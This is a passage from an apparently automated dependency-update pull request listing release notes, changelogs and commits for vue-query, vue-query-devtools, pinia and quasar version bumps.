href=\"https://github.com/TanStack/query/commit/03e8c3955ddbf20f0a07b79982b52dfad8df5323\"\u003e\u003ccode\u003e03e8c39\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/vue-query/CHANGELOG.md\"\u003e@​tanstack/vue-query's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/fce89ddf7a35b14252096ff64a1217efd81b415c\"\u003e\u003ccode\u003efce89dd\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11796\"\u003e#11796\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/69e114aecfdbd0a05625065aea4e43415fa386b3\"\u003e\u003ccode\u003e69e114a\u003c/code\u003e\u003c/a\u003e - Export the \u003ccode\u003eMutationResult\u003c/code\u003e type so inferred \u003ccode\u003euseMutation\u003c/code\u003e return types can be named when emitting declarations\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/03e8c3955ddbf20f0a07b79982b52dfad8df5323\"\u003e\u003ccode\u003e03e8c39\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a8ecc8d42f82c795fbe5771be5e41dee54bd7e34\"\u003e\u003ccode\u003ea8ecc8d\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/12128\"\u003e#12128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/12199722dc3f7443b7bbb575611dce59cfd08534\"\u003e\u003ccode\u003e1219972\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/12062\"\u003e#12062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/ee47993724e5b71e65d9f38ae416367d2dd18395\"\u003e\u003ccode\u003eee47993\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11998\"\u003e#11998\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b699b52d60e10220403673a407d95bcebeba3e81\"\u003e\u003ccode\u003eb699b52\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11849\"\u003e#11849\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/e22e7c4a27129457636a2a800f8ce19fc0c7b0e3\"\u003e\u003ccode\u003ee22e7c4\u003c/code\u003e\u003c/a\u003e chore: test TypeScript 7.1 preview and drop 5.6 (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11947\"\u003e#11947\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/df78a9d137993546a6d7407b3fd68c1b5429888a\"\u003e\u003ccode\u003edf78a9d\u003c/code\u003e\u003c/a\u003e chore(*): pass the root 'settings' to the package oxlint configs, which 'exte...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/833062c2fcf3720f6e0201adb832aa7bd90e3770\"\u003e\u003ccode\u003e833062c\u003c/code\u003e\u003c/a\u003e chore: replace prettier with oxfmt (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11939\"\u003e#11939\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/d0cfa6a4a8ee7ad9895ae196910a8718e9308a74\"\u003e\u003ccode\u003ed0cfa6a\u003c/code\u003e\u003c/a\u003e chore: replace eslint with oxlint (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11938\"\u003e#11938\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/71536972b582cf7f3828bb657c27b19546434d64\"\u003e\u003ccode\u003e7153697\u003c/code\u003e\u003c/a\u003e docs(vue-query/useMutation): add JSDoc to 'MutationResult' (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11937\"\u003e#11937\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/69e114aecfdbd0a05625065aea4e43415fa386b3\"\u003e\u003ccode\u003e69e114a\u003c/code\u003e\u003c/a\u003e fix(vue-query): export \u003ccode\u003eMutationResult\u003c/code\u003e type (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query/issues/11796\"\u003e#11796\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/vue-query@5.104.5/packages/vue-query\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/vue-query-devtools` from 6.3.1 to 6.3.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/vue-query-devtools's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c8f5eac9df24c3cf987dc23865493ebd0d346caa\"\u003e\u003ccode\u003ec8f5eac\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/b61abc2033f9e2fbf24d6753baedeaa74b2f1c17\"\u003e\u003ccode\u003eb61abc2\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11413\"\u003e#11413\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/67705fd6ad164dc8ca99d44374206f62dd6a03f2\"\u003e\u003ccode\u003e67705fd\u003c/code\u003e\u003c/a\u003e - Update floating and embedded devtools when the client prop changes, preserving the initially resolved client as the fallback when the override is removed.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/vue-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/69e114aecfdbd0a05625065aea4e43415fa386b3\"\u003e\u003ccode\u003e69e114a\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/vue-query-devtools/CHANGELOG.md\"\u003e@​tanstack/vue-query-devtools's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.3.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.3.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c8f5eac9df24c3cf987dc23865493ebd0d346caa\"\u003e\u003ccode\u003ec8f5eac\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/b61abc2033f9e2fbf24d6753baedeaa74b2f1c17\"\u003e\u003ccode\u003eb61abc2\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.3.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11413\"\u003e#11413\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/67705fd6ad164dc8ca99d44374206f62dd6a03f2\"\u003e\u003ccode\u003e67705fd\u003c/code\u003e\u003c/a\u003e - Update floating and embedded devtools when the client prop changes, preserving the initially resolved client as the fallback when the override is removed.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.3.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/69e114aecfdbd0a05625065aea4e43415fa386b3\"\u003e\u003ccode\u003e69e114a\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/vue-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a8ecc8d42f82c795fbe5771be5e41dee54bd7e34\"\u003e\u003ccode\u003ea8ecc8d\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/12128\"\u003e#12128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/12199722dc3f7443b7bbb575611dce59cfd08534\"\u003e\u003ccode\u003e1219972\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/12062\"\u003e#12062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/ee47993724e5b71e65d9f38ae416367d2dd18395\"\u003e\u003ccode\u003eee47993\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11998\"\u003e#11998\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/67705fd6ad164dc8ca99d44374206f62dd6a03f2\"\u003e\u003ccode\u003e67705fd\u003c/code\u003e\u003c/a\u003e fix(vue-query-devtools): update client when prop changes (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11413\"\u003e#11413\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b699b52d60e10220403673a407d95bcebeba3e81\"\u003e\u003ccode\u003eb699b52\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11849\"\u003e#11849\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/e22e7c4a27129457636a2a800f8ce19fc0c7b0e3\"\u003e\u003ccode\u003ee22e7c4\u003c/code\u003e\u003c/a\u003e chore: test TypeScript 7.1 preview and drop 5.6 (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11947\"\u003e#11947\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/df78a9d137993546a6d7407b3fd68c1b5429888a\"\u003e\u003ccode\u003edf78a9d\u003c/code\u003e\u003c/a\u003e chore(*): pass the root 'settings' to the package oxlint configs, which 'exte...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/d0cfa6a4a8ee7ad9895ae196910a8718e9308a74\"\u003e\u003ccode\u003ed0cfa6a\u003c/code\u003e\u003c/a\u003e chore: replace eslint with oxlint (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11938\"\u003e#11938\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/688f6e072223bc773a131f62a70689ad5cc9e96b\"\u003e\u003ccode\u003e688f6e0\u003c/code\u003e\u003c/a\u003e docs(*): describe 'shadowDOMTarget' as the shadow DOM the devtools styles are...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/27a8a89d8c55d7795ee2c1cf8ca6b9247266a784\"\u003e\u003ccode\u003e27a8a89\u003c/code\u003e\u003c/a\u003e docs(vue-query): add JSDoc to the exported interfaces and type aliases (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools/issues/11871\"\u003e#11871\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/vue-query-devtools@6.3.5/packages/vue-query-devtools\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pinia` from 4.0.3 to 4.1.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/270a217851eae9f4b2d7fc3e3b05d98024348269\"\u003e\u003ccode\u003e270a217\u003c/code\u003e\u003c/a\u003e release: pinia@4.1.0 \u003ccode\u003e@​pinia/testing\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.0.2 \u003ccode\u003e@​pinia/nuxt\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.0.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/bf7ea46846ac6e6159e896f8c7bead6907c41e38\"\u003e\u003ccode\u003ebf7ea46\u003c/code\u003e\u003c/a\u003e feat: warn when disposing a replaced store (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3193\"\u003e#3193\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/fddd7c553555002a2fd16d20fdcad25174860adc\"\u003e\u003ccode\u003efddd7c5\u003c/code\u003e\u003c/a\u003e test: unused\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/52fc965fec49a4769e673c8b48669fbb46526803\"\u003e\u003ccode\u003e52fc965\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003egetStores()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3194\"\u003e#3194\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/f48737e9aaffcb63c70c0f4f2c977e91be657fcb\"\u003e\u003ccode\u003ef48737e\u003c/code\u003e\u003c/a\u003e docs: fix links to heading anchors that use the wrong case (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3189\"\u003e#3189\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/668e8813133cb3bd7fa075c1bca78c9fb756ddfe\"\u003e\u003ccode\u003e668e881\u003c/code\u003e\u003c/a\u003e refactor(nuxt): upgrade module for Nuxt 4.6 (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3188\"\u003e#3188\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/a1581860ec76a924875f65efefa5f63006b67be9\"\u003e\u003ccode\u003ea158186\u003c/code\u003e\u003c/a\u003e fix(testing): notify shallow refs on initial state (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3187\"\u003e#3187\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/98587ca465b2c45e4053548261e769cad380ba5a\"\u003e\u003ccode\u003e98587ca\u003c/code\u003e\u003c/a\u003e fix(nuxt): resolve default storesDirs against each layer (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3185\"\u003e#3185\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/f4e0cb7a8193f564c27f6527b3f954e114a7534c\"\u003e\u003ccode\u003ef4e0cb7\u003c/code\u003e\u003c/a\u003e docs: fix dead Vue Devtools installation link (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3181\"\u003e#3181\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/a4eb2c581aab47916fa9531aee38a0e01af61617\"\u003e\u003ccode\u003ea4eb2c5\u003c/code\u003e\u003c/a\u003e fix: trigger shallow refs patched via object syntax (fix \u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/2861\"\u003e#2861\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3177\"\u003e#3177\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vuejs/pinia/compare/v4.0.3...v4.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `quasar` from 2.35.0 to 2.35.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/quasarframework/quasar/releases\"\u003equasar's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003equasar-v2.35.2\u003c/h2\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efix(QMenu/QTooltip): anchor inside a shadow root\u003c/strong\u003e -\u0026gt; a popup whose target lives inside a web component (a shadow tree) is positioned next to it again instead of landing at the end of the page. The native CSS anchor positioning cannot see across a shadow boundary, so such popups now use the JS positioning; everything else keeps the native engine (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18576\"\u003e#18576\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003efix(iOS scroll lock): route change while a dialog or menu is open\u003c/strong\u003e -\u0026gt; on iOS, closing a popup after navigating to another route no longer scrolls the page back to the previous route's position. Hash router mode (\u003ccode\u003e#/route\u003c/code\u003e) used to be treated as the same route every time, and in history mode a path-shaped anchor (\u003ccode\u003e/a#/x\u003c/code\u003e -\u0026gt; \u003ccode\u003e/b#/x\u003c/code\u003e) was compared without its pathname (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18573\"\u003e#18573\u003c/a\u003e, \u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18574\"\u003e#18574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003efix(date utils): extractDate() with a day-of-year token\u003c/strong\u003e -\u0026gt; a mask carrying \u003ccode\u003eDDD\u003c/code\u003e, \u003ccode\u003eDDDo\u003c/code\u003e or \u003ccode\u003eDDDD\u003c/code\u003e together with a year now resolves to that day, so \u003ccode\u003eformatDate()\u003c/code\u003e output round-trips (\u003ccode\u003eYYYY-DDDD\u003c/code\u003e used to give January 1st). A day of the year outside the year (\u003ccode\u003e000\u003c/code\u003e, or \u003ccode\u003e366\u003c/code\u003e in a 365-day year) is an \u003ccode\u003eInvalid Date\u003c/code\u003e; a full calendar date in the same mask still wins (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18575\"\u003e#18575\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDonations\u003c/h2\u003e\n\u003cp\u003eQuasar Framework is an open-source MIT-licensed project made possible due to the \u003cstrong\u003egenerous contributions\u003c/strong\u003e by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sponsors/rstoenescu\"\u003eBecoming a sponsor on Github\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://paypal.me/rstoenescu1\"\u003eOne-off donation via PayPal\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003equasar-v2.35.1\u003c/h2\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efix(QMenu/QTooltip): \u003ccode\u003etarget\u003c/code\u003e as a CSS selector for an element rendered later\u003c/strong\u003e -\u0026gt; a popup whose anchor shows up after it mounted (a \u003ccode\u003ev-if\u003c/code\u003e that flips later, an async component sibling) no longer stays without an anchor for good. It used to ignore hover, click and focus on that element, refuse \u003ccode\u003eshow()\u003c/code\u003e and render unanchored on a model write. The element now gets picked on the first interaction with it, on \u003ccode\u003eshow()\u003c/code\u003e or when the model turns on. For a valid selector with no 